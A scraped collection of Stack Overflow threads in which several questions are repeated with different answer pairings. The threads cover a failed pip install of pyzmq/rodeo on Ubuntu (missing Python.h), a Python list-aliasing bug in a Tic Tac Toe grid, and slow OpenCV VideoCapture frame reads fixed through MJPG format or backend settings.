build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_shorthash creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_shorthash/siphash24 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_shorthash/siphash24/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_secretbox creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_secretbox/xsalsa20poly1305 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_secretbox/xsalsa20poly1305/ref x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -DNATIVE_LITTLE_ENDIAN=1 -Ibundled/libsodium/src/libsodium/include -Ibundled/libsodium/src/libsodium/include/sodium -I/usr/include/python2.7 -c buildutils/initlibsodium.c -o build/temp.linux-x86_64-2.7/buildutils/initlibsodium.o buildutils/initlibsodium.c:10:20: fatal error: Python.h: No such file or directory #include "Python.h" ^ compilation terminated. error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 ---------------------------------------- Cleaning up... Command /usr/bin/python -c "import setuptools, tokenize;__file__='/tmp/pip_build_ricol/pyzmq/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-KXbrbW-record/install-record.txt --single-version-externally-managed --compile failed with error code 1 in /tmp/pip_build_ricol/pyzmq Storing debug log for failure in /home/ricol/.pip/pip.log ``` **Edit:** I followed eandersson's answer: ``` sudo apt-get install python-dev sudo apt-get install libzmq-dev sudo pip install -U rodeo sudo pip install slugify ``` But there is still a problem when I execute `rodeo .` even after rebooting : ``` ricol@ricol-VirtualBox:~$ rodeo . _______ ___ ______ ________ ___ |_ __ \ .' `.|_ _ `.|_ __ | .' `. | |__) | / .-. \ | | `. \ | |_ \_|/ .-. \ | __ / | | | | | | | | | _| _ | | | | _| | \ \_\ `-' /_| |_.' /_| |__/ |\ `-' / |____| |___|`.___.'|______.'|________| `.___.' '''''''''''''''''''''''''''''''''''''''''''''''''' URL: http://localhost:5000/ DIRECTORY: /home/ricol '''''''''''''''''''''''''''''''''''''''''''''''''' (process:2429): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts). pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14 pbs<@resource://unity/observer.js:38:71 Observer.prototype.observe@resource://unity/observer.js:77:24 get_contentWindow@chrome://global/content/bindings/browser.xml:412:54 get_securityUI@chrome://global/content/bindings/browser.xml:662:17 browser_XBL_Constructor@chrome://global/content/bindings/browser.xml:786:17 WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts). pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14 pbs<@resource://unity/observer.js:38:71 Observer.prototype.observe@resource://unity/observer.js:77:24 WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts). pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14 pbs<@resource://unity/observer.js:38:71 Observer.prototype.observe@resource://unity/observer.js:77:24 [ERROR]: Exception on / [GET] Traceback (most recent call last): File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1817, in wsgi_app response = self.full_dispatch_request() File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1477, in full_dispatch_request rv = self.handle_user_exception(e) File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1381, in handle_user_exception reraise(exc_type, exc_value, tb) File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1475, in full_dispatch_request rv = self.dispatch_request() File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1461, in dispatch_request return self.view_functions[rule.endpoint](**req.view_args) File "/usr/local/lib/python2.7/dist-packages/rodeo/rodeo.py", line 33, in home dirslug = slugify.slugify(dirname) File "/usr/local/lib/python2.7/dist-packages/slugify.py", line 26, in slugify unicodedata.normalize('NFKD', string) TypeError: must be unicode, not str WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts). pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14 pbs<@resource://unity/observer.js:38:71 Observer.prototype.observe@resource://unity/observer.js:77:24 @chrome://browser/content/content.js:37:5 addTab@chrome://browser/content/tabbrowser.xml:1642:13 ssi_restoreWindow@resource:///modules/sessionstore/SessionStore.jsm:2292:1 ssi_onLoad@resource:///modules/sessionstore/SessionStore.jsm:782:11 SessionStoreInternal.onBeforeBrowserWindowShown/<@resource:///modules/sessionstore/SessionStore.jsm:948:9 Handler.prototype.process@resource://gre/modules/Promise.jsm -> resource://gre/modules/Promise-backend.js:865:23 this.PromiseWalker.walkerLoop@resource://gre/modules/Promise.jsm -> resource://gre/modules/Promise-backend.js:744:7 WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts). pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14 pbs<@resource://unity/observer.js:38:71 Observer.prototype.observe@resource://unity/observer.js:77:24 WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts). pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14 pbs<@resource://unity/observer.js:38:71 Observer.prototype.observe@resource://unity/observer.js:77:24 ```
2015/05/04
[ "https://Stackoverflow.com/questions/30029625", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2236787/" ]
You will need to install python-dev/libzmq-dev for the installation to succeed. The problem is that while you can install most Python libraries using pip, some of them depend on C or C++ libraries. These libraries cannot be downloaded using PIP, so they need to be installed manually. As PIP will only install Python libraries, any external dependencies have to be installed using apt-get. In this case you need the development library for zmq and/or python. ``` sudo apt-get install libzmq-dev ``` and/or ``` sudo apt-get install python-dev ```
As of Rodeo v2.0, it is no longer installable via pip. On Ubuntu, you can install it using the Rodeo apt repo, commands are below: ``` #### add the yhat public key and the repo sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 33D40BC6 sudo add-apt-repository -u "deb http://rodeo-deb.yhat.com/ rodeo main" #### install rodeo and run it sudo apt-get -y install rodeo /opt/Rodeo/rodeo ```
21,592,965
I am writing a small script for a Tic Tac Toe game in python. I store the Tic Tac Toe grid in a list like this (example of a empty grid): `[[' ', ' ', ' ',], [' ', ' ', ' ',], [' ', ' ', ' ',]]`. These are the following possible string for the list: * `' '` no player has marked this field * `'X'` player X * `'O'` player O I have written a function that creates an empty grid (`create_grid`), a function that creates a random grid (`create_random_grid`) (this will be used for testing purposes later) and a function that prints the grid in such a manner so that its read-able to the end user (`show_grid`). I am having trouble with the `create_random_grid` function, the other two method work though. Here is how I approached the `create_random_grid` function: * first create an empty grid using `create_grid` * iterate over the grid line * iterate over the character in the line * change the character to an item randomly selected form here. `['X', 'O', ' ']` * `return` the grid **NOTE:** I do not expect that exact output for the *Expected Output*. For the *Actual Output*, I do not always get exactly that but all the lines are always the same. ![enter image description here](https://i.stack.imgur.com/ZNuBL.png) I do not know why all the lines are the same. It seems that the last generated line is the one that is used. I added some debug lines in my code along with examples that cleary show my problem. I added line in my code that show me the randomly chosen mark for each slot of the grid, however my output does not correspond to that, except for the last line where they match. I have included other important information as comments in my code. Pastebin link [here](http://pastebin.com/yuGK8bRq) ***CODE:*** ``` from random import choice def create_grid(size=3): """ size: int. The horizontal and vertical height of the grid. By default is set to 3 because thats normal returns: lst. A list of lines. lines is a list of strings Creates a empty playing field """ x_lst = [' '] * size # this is a horizontal line of the code lst = [] # final list for y in range(size): # we append size times to the lst to get the proper height lst.append(x_lst) return lst def show_grid(grid): """ grid: list. A list of lines, where the lines are a list of string returns: None """ for line in grid: print('[' + ']['.join(line)+']') # print each symbol in a box def create_random_grid(size=3): """ size: int. The horizontal and vertical height of the grid. By default is set to 3 because thats normal returns: lst. A list of lines. lines is a list of strings Creates a grid with random player marks, used for testing purposes """ grid = create_grid() symbols = ['X', 'O', ' '] for line in range(size): for column in range(size): # grid[line][column] = choice(symbols) # what I want to use, but does not work # debug, the same version as ^^ but in its smaller steps random_item = choice(symbols) print 'line: ', line, 'column: ', column, 'symbol chosen: ', random_item # shows randomly wirrten mark for each slot grid[line][column] = random_item # over-write the indexes of grid with the randomly chosen symbol return grid hardcoded_grid = [['X', ' ', 'X'], [' ', 'O', 'O'], ['O', 'X', ' ']] grid = create_random_grid() print('\nThe simple list view of the random grid:\n'), grid print('\nThis grid was created using the create_random_grid method:\n') show_grid(grid) print('\nThis grid was hard coded (to show that the show_grid function works):\n') show_grid(hardcoded_grid) ```
2014/02/06
[ "https://Stackoverflow.com/questions/21592965", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2911408/" ]
``` x_lst = [' '] * size lst = [] for y in range(size): lst.append(x_lst) ``` All elements of `lst` are the same list object. If you want equal but independent lists, create a new list each time: ``` lst = [] for y in range(size): lst.append([' '] * size) ```
Your board consists of three references to a single row. You need to make three separate rows, like so: ``` lst = [[' ']*3 for _ in range(3)] ```
59,726,776
My question : I was working on my computer vision project. I use opencv(4.1.2) and python to implement it. I need a faster way to pass the reading frame into image processing on my Computer(Ubuntu 18.04 8 cores i7 3.00GHz Memory 32GB). the `cv2.VideoCapture.read()` read frame (frame size : 720x1280) will take about 120~140ms. **which is too slow.** my processing module take about 40ms per run. And we desire 25~30 FPS. here is my demo code so far: ``` import cv2 from collections import deque from time import sleep, time import threading class camCapture: def __init__(self, camID, buffer_size): self.Frame = deque(maxlen=buffer_size) self.status = False self.isstop = False self.capture = cv2.VideoCapture(camID) def start(self): print('camera started!') t1 = threading.Thread(target=self.queryframe, daemon=True, args=()) t1.start() def stop(self): self.isstop = True print('camera stopped!') def getframe(self): print('current buffers : ', len(self.Frame)) return self.Frame.popleft() def queryframe(self): while (not self.isstop): start = time() self.status, tmp = self.capture.read() print('read frame processed : ', (time() - start) *1000, 'ms') self.Frame.append(tmp) self.capture.release() cam = camCapture(camID=0, buffer_size=50) W, H = 1280, 720 cam.capture.set(cv2.CAP_PROP_FRAME_WIDTH, W) cam.capture.set(cv2.CAP_PROP_FRAME_HEIGHT, H) # start the reading frame thread cam.start() # filling frames sleep(5) while True: frame = cam.getframe() # numpy array shape (720, 1280, 3) cv2.imshow('video',frame) sleep( 40 / 1000) # mimic the processing time if cv2.waitKey(1) == 27: cv2.destroyAllWindows() cam.stop() break ``` What I tried : 1. multiThread - one thread just reading the frame, the other do the image processing things. **It's NOT what I want.** because I could set a buffer deque saving 50 frames for example. but the frame-reading thread worked with the speed ~ frame/130ms. my image processing thread worked with the speed ~ frame/40ms. then the deque just running out. so I've been tried the solution. but not what I need. 2. this [topic](https://stackoverflow.com/questions/52655841/opencv-python-multithreading-seeking-within-a-videocapture-object) is the discussion I found out which is most closest to my question. but unfortunately, I tried the accepted solutions (both of two below the discussion). **One of the solution (6 six thumbs up) point out that he could reading and saving 100 frames at 1 sec intervals on his mac. why my machine cannot handle the frame reading work? Do I missing something? my installation used conda and pip `conda install -c conda-forge opencv`, `pip install opencv-python`(yes, I tried both.)** **The other of the solution(1 thumb up) using ffmpeg solution. but it seem's work with video file but not camera device?** 3. adjust c2.waitKey() : the parameter just controls the frequency when video display. not a solution. Then, I know I just need some keywords to follow. code above is my demo code so far, I want some method or guide to make me videoCapture.read() faster. maybe a way to use multithread inside videoCapture object or other camera reading module. Any suggestions?
2020/01/14
[ "https://Stackoverflow.com/questions/59726776", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9383559/" ]
This comes a bit late, but I was wondering this with my Logitech C920 HD Pro USB-camera on Ubuntu 20.04 and OpenCV. I tried to command the capture session to run Full HD @ 30 FPS but the FPS was fluctuating between 4-5 FPS. The capture format for my camera defaulted as "YUYV 4:2:2". No matter how I tried to alter the video capture settings, OpenCV did not magically change the video format to match e.g. the desired FPS setting. When I listed the video formats for my Logitech C920, it revealed: ``` ubuntu:~$ v4l2-ctl --list-formats-ext ioctl: VIDIOC_ENUM_FMT Type: Video Capture [0]: 'YUYV' (YUYV 4:2:2) <clip> Size: Discrete 1600x896 Interval: Discrete 0.133s (7.500 fps) Interval: Discrete 0.200s (5.000 fps) Size: Discrete 1920x1080 Interval: Discrete 0.200s (5.000 fps) Size: Discrete 2304x1296 Interval: Discrete 0.500s (2.000 fps) [1]: 'MJPG' (Motion-JPEG, compressed) <clip> Size: Discrete 1920x1080 Interval: Discrete 0.033s (30.000 fps) Interval: Discrete 0.042s (24.000 fps) Interval: Discrete 0.050s (20.000 fps) Interval: Discrete 0.067s (15.000 fps) Interval: Discrete 0.100s (10.000 fps) Interval: Discrete 0.133s (7.500 fps) Interval: Discrete 0.200s (5.000 fps) ``` The solution was to manually command the OpenCV capture device to use the compressed 'MJPG' format: ``` import numpy as np import cv2 capture = cv2.VideoCapture(0) W, H = 1920, 1080 capture.set(cv2.CAP_PROP_FRAME_WIDTH, W) capture.set(cv2.CAP_PROP_FRAME_HEIGHT, H) capture.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc('M', 'J', 'P', 'G')) capture.set(cv2.CAP_PROP_FPS, 30) ```
Long. I checked using the following settings and somehow if you increase the frame size opencv will reduce the total fps. Maybe this is a bug. 1920x1080 : FPS: 5.0, Width: 1920.0, Height: 1080.0 , delay = 150ms <https://imgur.com/Vab61cF> 1280x720 : FPS: 10.0, Width: 1280.0, Height: 720.0, delay = 60ms <https://imgur.com/QN6tsAO> 640x480 : FPS: 30.0, Width: 640.0, Height: 480.0, delay = 5ms <https://imgur.com/RqkWSdK> But by using other applications such as *cheese*, we still get a full 30fps at 1920x1080 resolution. Please be notified that set the CAP\_PROP\_BUFFERSIZE value won't help either. So a question will arise: "How can we overcome this?". At this stage, you only have 2 choices : 1. Reduce the frame resolution into 640x480 2. Use other framework Hope this help.
59,726,776
My question : I was working on my computer vision project. I use opencv(4.1.2) and python to implement it. I need a faster way to pass the reading frame into image processing on my Computer(Ubuntu 18.04 8 cores i7 3.00GHz Memory 32GB). the `cv2.VideoCapture.read()` read frame (frame size : 720x1280) will take about 120~140ms. **which is too slow.** my processing module take about 40ms per run. And we desire 25~30 FPS. here is my demo code so far: ``` import cv2 from collections import deque from time import sleep, time import threading class camCapture: def __init__(self, camID, buffer_size): self.Frame = deque(maxlen=buffer_size) self.status = False self.isstop = False self.capture = cv2.VideoCapture(camID) def start(self): print('camera started!') t1 = threading.Thread(target=self.queryframe, daemon=True, args=()) t1.start() def stop(self): self.isstop = True print('camera stopped!') def getframe(self): print('current buffers : ', len(self.Frame)) return self.Frame.popleft() def queryframe(self): while (not self.isstop): start = time() self.status, tmp = self.capture.read() print('read frame processed : ', (time() - start) *1000, 'ms') self.Frame.append(tmp) self.capture.release() cam = camCapture(camID=0, buffer_size=50) W, H = 1280, 720 cam.capture.set(cv2.CAP_PROP_FRAME_WIDTH, W) cam.capture.set(cv2.CAP_PROP_FRAME_HEIGHT, H) # start the reading frame thread cam.start() # filling frames sleep(5) while True: frame = cam.getframe() # numpy array shape (720, 1280, 3) cv2.imshow('video',frame) sleep( 40 / 1000) # mimic the processing time if cv2.waitKey(1) == 27: cv2.destroyAllWindows() cam.stop() break ``` What I tried : 1. multiThread - one thread just reading the frame, the other do the image processing things. **It's NOT what I want.** because I could set a buffer deque saving 50 frames for example. but the frame-reading thread worked with the speed ~ frame/130ms. my image processing thread worked with the speed ~ frame/40ms. then the deque just running out. so I've been tried the solution. but not what I need. 2. this [topic](https://stackoverflow.com/questions/52655841/opencv-python-multithreading-seeking-within-a-videocapture-object) is the discussion I found out which is most closest to my question. but unfortunately, I tried the accepted solutions (both of two below the discussion). **One of the solution (6 six thumbs up) point out that he could reading and saving 100 frames at 1 sec intervals on his mac. why my machine cannot handle the frame reading work? Do I missing something? my installation used conda and pip `conda install -c conda-forge opencv`, `pip install opencv-python`(yes, I tried both.)** **The other of the solution(1 thumb up) using ffmpeg solution. but it seem's work with video file but not camera device?** 3. adjust c2.waitKey() : the parameter just controls the frequency when video display. not a solution. Then, I know I just need some keywords to follow. code above is my demo code so far, I want some method or guide to make me videoCapture.read() faster. maybe a way to use multithread inside videoCapture object or other camera reading module. Any suggestions?
2020/01/14
[ "https://Stackoverflow.com/questions/59726776", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9383559/" ]
**This is the best solution ever** From This ``` capture = cv2.VideoCapture(0) ``` to ``` capture = cv2.VideoCapture(0, cv2.CAP_DSHOW) ``` I searched for much time but not found the best solution but this solution works faster open cv2 video capture try now hope useful for you. just use `cv2.VideoCapture(0, cv2.CAP_DSHOW)`
Long. I checked using the following settings and somehow if you increase the frame size opencv will reduce the total fps. Maybe this is a bug. 1920x1080 : FPS: 5.0, Width: 1920.0, Height: 1080.0 , delay = 150ms <https://imgur.com/Vab61cF> 1280x720 : FPS: 10.0, Width: 1280.0, Height: 720.0, delay = 60ms <https://imgur.com/QN6tsAO> 640x480 : FPS: 30.0, Width: 640.0, Height: 480.0, delay = 5ms <https://imgur.com/RqkWSdK> But by using other applications such as *cheese*, we still get a full 30fps at 1920x1080 resolution. Please be notified that set the CAP\_PROP\_BUFFERSIZE value won't help either. So a question will arise: "How can we overcome this?". At this stage, you only have 2 choices : 1. Reduce the frame resolution into 640x480 2. Use other framework Hope this help.
59,726,776
My question : I was working on my computer vision project. I use opencv(4.1.2) and python to implement it. I need a faster way to pass the reading frame into image processing on my Computer(Ubuntu 18.04 8 cores i7 3.00GHz Memory 32GB). the `cv2.VideoCapture.read()` read frame (frame size : 720x1280) will take about 120~140ms. **which is too slow.** my processing module take about 40ms per run. And we desire 25~30 FPS. here is my demo code so far: ``` import cv2 from collections import deque from time import sleep, time import threading class camCapture: def __init__(self, camID, buffer_size): self.Frame = deque(maxlen=buffer_size) self.status = False self.isstop = False self.capture = cv2.VideoCapture(camID) def start(self): print('camera started!') t1 = threading.Thread(target=self.queryframe, daemon=True, args=()) t1.start() def stop(self): self.isstop = True print('camera stopped!') def getframe(self): print('current buffers : ', len(self.Frame)) return self.Frame.popleft() def queryframe(self): while (not self.isstop): start = time() self.status, tmp = self.capture.read() print('read frame processed : ', (time() - start) *1000, 'ms') self.Frame.append(tmp) self.capture.release() cam = camCapture(camID=0, buffer_size=50) W, H = 1280, 720 cam.capture.set(cv2.CAP_PROP_FRAME_WIDTH, W) cam.capture.set(cv2.CAP_PROP_FRAME_HEIGHT, H) # start the reading frame thread cam.start() # filling frames sleep(5) while True: frame = cam.getframe() # numpy array shape (720, 1280, 3) cv2.imshow('video',frame) sleep( 40 / 1000) # mimic the processing time if cv2.waitKey(1) == 27: cv2.destroyAllWindows() cam.stop() break ``` What I tried : 1. multiThread - one thread just reading the frame, the other do the image processing things. **It's NOT what I want.** because I could set a buffer deque saving 50 frames for example. but the frame-reading thread worked with the speed ~ frame/130ms. my image processing thread worked with the speed ~ frame/40ms. then the deque just running out. so I've been tried the solution. but not what I need. 2. this [topic](https://stackoverflow.com/questions/52655841/opencv-python-multithreading-seeking-within-a-videocapture-object) is the discussion I found out which is most closest to my question. but unfortunately, I tried the accepted solutions (both of two below the discussion). **One of the solution (6 six thumbs up) point out that he could reading and saving 100 frames at 1 sec intervals on his mac. why my machine cannot handle the frame reading work? Do I missing something? my installation used conda and pip `conda install -c conda-forge opencv`, `pip install opencv-python`(yes, I tried both.)** **The other of the solution(1 thumb up) using ffmpeg solution. but it seem's work with video file but not camera device?** 3. adjust c2.waitKey() : the parameter just controls the frequency when video display. not a solution. Then, I know I just need some keywords to follow. code above is my demo code so far, I want some method or guide to make me videoCapture.read() faster. maybe a way to use multithread inside videoCapture object or other camera reading module. Any suggestions?
2020/01/14
[ "https://Stackoverflow.com/questions/59726776", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9383559/" ]
In my case, I have set camera like this (in c++ code): ```cpp // cam is cv::VideoCapture object cam.set(cv::CAP_PROP_BUFFERSIZE, 1); cam.set(cv::CAP_PROP_FPS, 20); // set fps before set fourcc cam.set(cv::CAP_PROP_FOURCC, cv::VideoWriter::fourcc('M', 'J', 'P', 'G')); ``` `CAP_PROP_BUFFERSIZE` doesn't matter, but `CAP_PROP_FPS` must be set before `CAP_PROP_FOURCC`. By this setup, my camera fps increases from 5 to 20.
Long. I checked using the following settings and somehow if you increase the frame size opencv will reduce the total fps. Maybe this is a bug. 1920x1080 : FPS: 5.0, Width: 1920.0, Height: 1080.0 , delay = 150ms <https://imgur.com/Vab61cF> 1280x720 : FPS: 10.0, Width: 1280.0, Height: 720.0, delay = 60ms <https://imgur.com/QN6tsAO> 640x480 : FPS: 30.0, Width: 640.0, Height: 480.0, delay = 5ms <https://imgur.com/RqkWSdK> But by using other applications such as *cheese*, we still get a full 30fps at 1920x1080 resolution. Please be notified that set the CAP\_PROP\_BUFFERSIZE value won't help either. So a question will arise: "How can we overcome this?". At this stage, you only have 2 choices : 1. Reduce the frame resolution into 640x480 2. Use other framework Hope this help.
59,726,776
My question : I was working on my computer vision project. I use opencv(4.1.2) and python to implement it. I need a faster way to pass the reading frame into image processing on my Computer(Ubuntu 18.04 8 cores i7 3.00GHz Memory 32GB). the `cv2.VideoCapture.read()` read frame (frame size : 720x1280) will take about 120~140ms. **which is too slow.** my processing module take about 40ms per run. And we desire 25~30 FPS. here is my demo code so far: ``` import cv2 from collections import deque from time import sleep, time import threading class camCapture: def __init__(self, camID, buffer_size): self.Frame = deque(maxlen=buffer_size) self.status = False self.isstop = False self.capture = cv2.VideoCapture(camID) def start(self): print('camera started!') t1 = threading.Thread(target=self.queryframe, daemon=True, args=()) t1.start() def stop(self): self.isstop = True print('camera stopped!') def getframe(self): print('current buffers : ', len(self.Frame)) return self.Frame.popleft() def queryframe(self): while (not self.isstop): start = time() self.status, tmp = self.capture.read() print('read frame processed : ', (time() - start) *1000, 'ms') self.Frame.append(tmp) self.capture.release() cam = camCapture(camID=0, buffer_size=50) W, H = 1280, 720 cam.capture.set(cv2.CAP_PROP_FRAME_WIDTH, W) cam.capture.set(cv2.CAP_PROP_FRAME_HEIGHT, H) # start the reading frame thread cam.start() # filling frames sleep(5) while True: frame = cam.getframe() # numpy array shape (720, 1280, 3) cv2.imshow('video',frame) sleep( 40 / 1000) # mimic the processing time if cv2.waitKey(1) == 27: cv2.destroyAllWindows() cam.stop() break ``` What I tried : 1. multiThread - one thread just reading the frame, the other do the image processing things. **It's NOT what I want.** because I could set a buffer deque saving 50 frames for example. but the frame-reading thread worked with the speed ~ frame/130ms. my image processing thread worked with the speed ~ frame/40ms. then the deque just running out. so I've been tried the solution. but not what I need. 2. this [topic](https://stackoverflow.com/questions/52655841/opencv-python-multithreading-seeking-within-a-videocapture-object) is the discussion I found out which is most closest to my question. but unfortunately, I tried the accepted solutions (both of two below the discussion). **One of the solution (6 six thumbs up) point out that he could reading and saving 100 frames at 1 sec intervals on his mac. why my machine cannot handle the frame reading work? Do I missing something? my installation used conda and pip `conda install -c conda-forge opencv`, `pip install opencv-python`(yes, I tried both.)** **The other of the solution(1 thumb up) using ffmpeg solution. but it seem's work with video file but not camera device?** 3. adjust c2.waitKey() : the parameter just controls the frequency when video display. not a solution. Then, I know I just need some keywords to follow. code above is my demo code so far, I want some method or guide to make me videoCapture.read() faster. maybe a way to use multithread inside videoCapture object or other camera reading module. Any suggestions?
2020/01/14
[ "https://Stackoverflow.com/questions/59726776", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9383559/" ]
This comes a bit late, but I was wondering this with my Logitech C920 HD Pro USB-camera on Ubuntu 20.04 and OpenCV. I tried to command the capture session to run Full HD @ 30 FPS but the FPS was fluctuating between 4-5 FPS. The capture format for my camera defaulted as "YUYV 4:2:2". No matter how I tried to alter the video capture settings, OpenCV did not magically change the video format to match e.g. the desired FPS setting. When I listed the video formats for my Logitech C920, it revealed: ``` ubuntu:~$ v4l2-ctl --list-formats-ext ioctl: VIDIOC_ENUM_FMT Type: Video Capture [0]: 'YUYV' (YUYV 4:2:2) <clip> Size: Discrete 1600x896 Interval: Discrete 0.133s (7.500 fps) Interval: Discrete 0.200s (5.000 fps) Size: Discrete 1920x1080 Interval: Discrete 0.200s (5.000 fps) Size: Discrete 2304x1296 Interval: Discrete 0.500s (2.000 fps) [1]: 'MJPG' (Motion-JPEG, compressed) <clip> Size: Discrete 1920x1080 Interval: Discrete 0.033s (30.000 fps) Interval: Discrete 0.042s (24.000 fps) Interval: Discrete 0.050s (20.000 fps) Interval: Discrete 0.067s (15.000 fps) Interval: Discrete 0.100s (10.000 fps) Interval: Discrete 0.133s (7.500 fps) Interval: Discrete 0.200s (5.000 fps) ``` The solution was to manually command the OpenCV capture device to use the compressed 'MJPG' format: ``` import numpy as np import cv2 capture = cv2.VideoCapture(0) W, H = 1920, 1080 capture.set(cv2.CAP_PROP_FRAME_WIDTH, W) capture.set(cv2.CAP_PROP_FRAME_HEIGHT, H) capture.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc('M', 'J', 'P', 'G')) capture.set(cv2.CAP_PROP_FPS, 30) ```
**This is the best solution ever** From This ``` capture = cv2.VideoCapture(0) ``` to ``` capture = cv2.VideoCapture(0, cv2.CAP_DSHOW) ``` I searched for much time but not found the best solution but this solution works faster open cv2 video capture try now hope useful for you. just use `cv2.VideoCapture(0, cv2.CAP_DSHOW)`
59,726,776
My question : I was working on my computer vision project. I use opencv(4.1.2) and python to implement it. I need a faster way to pass the reading frame into image processing on my Computer(Ubuntu 18.04 8 cores i7 3.00GHz Memory 32GB). the `cv2.VideoCapture.read()` read frame (frame size : 720x1280) will take about 120~140ms. **which is too slow.** my processing module take about 40ms per run. And we desire 25~30 FPS. here is my demo code so far: ``` import cv2 from collections import deque from time import sleep, time import threading class camCapture: def __init__(self, camID, buffer_size): self.Frame = deque(maxlen=buffer_size) self.status = False self.isstop = False self.capture = cv2.VideoCapture(camID) def start(self): print('camera started!') t1 = threading.Thread(target=self.queryframe, daemon=True, args=()) t1.start() def stop(self): self.isstop = True print('camera stopped!') def getframe(self): print('current buffers : ', len(self.Frame)) return self.Frame.popleft() def queryframe(self): while (not self.isstop): start = time() self.status, tmp = self.capture.read() print('read frame processed : ', (time() - start) *1000, 'ms') self.Frame.append(tmp) self.capture.release() cam = camCapture(camID=0, buffer_size=50) W, H = 1280, 720 cam.capture.set(cv2.CAP_PROP_FRAME_WIDTH, W) cam.capture.set(cv2.CAP_PROP_FRAME_HEIGHT, H) # start the reading frame thread cam.start() # filling frames sleep(5) while True: frame = cam.getframe() # numpy array shape (720, 1280, 3) cv2.imshow('video',frame) sleep( 40 / 1000) # mimic the processing time if cv2.waitKey(1) == 27: cv2.destroyAllWindows() cam.stop() break ``` What I tried : 1. multiThread - one thread just reading the frame, the other do the image processing things. **It's NOT what I want.** because I could set a buffer deque saving 50 frames for example. but the frame-reading thread worked with the speed ~ frame/130ms. my image processing thread worked with the speed ~ frame/40ms. then the deque just running out. so I've been tried the solution. but not what I need. 2. this [topic](https://stackoverflow.com/questions/52655841/opencv-python-multithreading-seeking-within-a-videocapture-object) is the discussion I found out which is most closest to my question. but unfortunately, I tried the accepted solutions (both of two below the discussion). **One of the solution (6 six thumbs up) point out that he could reading and saving 100 frames at 1 sec intervals on his mac. why my machine cannot handle the frame reading work? Do I missing something? my installation used conda and pip `conda install -c conda-forge opencv`, `pip install opencv-python`(yes, I tried both.)** **The other of the solution(1 thumb up) using ffmpeg solution. but it seem's work with video file but not camera device?** 3. adjust c2.waitKey() : the parameter just controls the frequency when video display. not a solution. Then, I know I just need some keywords to follow. code above is my demo code so far, I want some method or guide to make me videoCapture.read() faster. maybe a way to use multithread inside videoCapture object or other camera reading module. Any suggestions?
2020/01/14
[ "https://Stackoverflow.com/questions/59726776", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9383559/" ]
This comes a bit late, but I was wondering this with my Logitech C920 HD Pro USB-camera on Ubuntu 20.04 and OpenCV. I tried to command the capture session to run Full HD @ 30 FPS but the FPS was fluctuating between 4-5 FPS. The capture format for my camera defaulted as "YUYV 4:2:2". No matter how I tried to alter the video capture settings, OpenCV did not magically change the video format to match e.g. the desired FPS setting. When I listed the video formats for my Logitech C920, it revealed: ``` ubuntu:~$ v4l2-ctl --list-formats-ext ioctl: VIDIOC_ENUM_FMT Type: Video Capture [0]: 'YUYV' (YUYV 4:2:2) <clip> Size: Discrete 1600x896 Interval: Discrete 0.133s (7.500 fps) Interval: Discrete 0.200s (5.000 fps) Size: Discrete 1920x1080 Interval: Discrete 0.200s (5.000 fps) Size: Discrete 2304x1296 Interval: Discrete 0.500s (2.000 fps) [1]: 'MJPG' (Motion-JPEG, compressed) <clip> Size: Discrete 1920x1080 Interval: Discrete 0.033s (30.000 fps) Interval: Discrete 0.042s (24.000 fps) Interval: Discrete 0.050s (20.000 fps) Interval: Discrete 0.067s (15.000 fps) Interval: Discrete 0.100s (10.000 fps) Interval: Discrete 0.133s (7.500 fps) Interval: Discrete 0.200s (5.000 fps) ``` The solution was to manually command the OpenCV capture device to use the compressed 'MJPG' format: ``` import numpy as np import cv2 capture = cv2.VideoCapture(0) W, H = 1920, 1080 capture.set(cv2.CAP_PROP_FRAME_WIDTH, W) capture.set(cv2.CAP_PROP_FRAME_HEIGHT, H) capture.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc('M', 'J', 'P', 'G')) capture.set(cv2.CAP_PROP_FPS, 30) ```
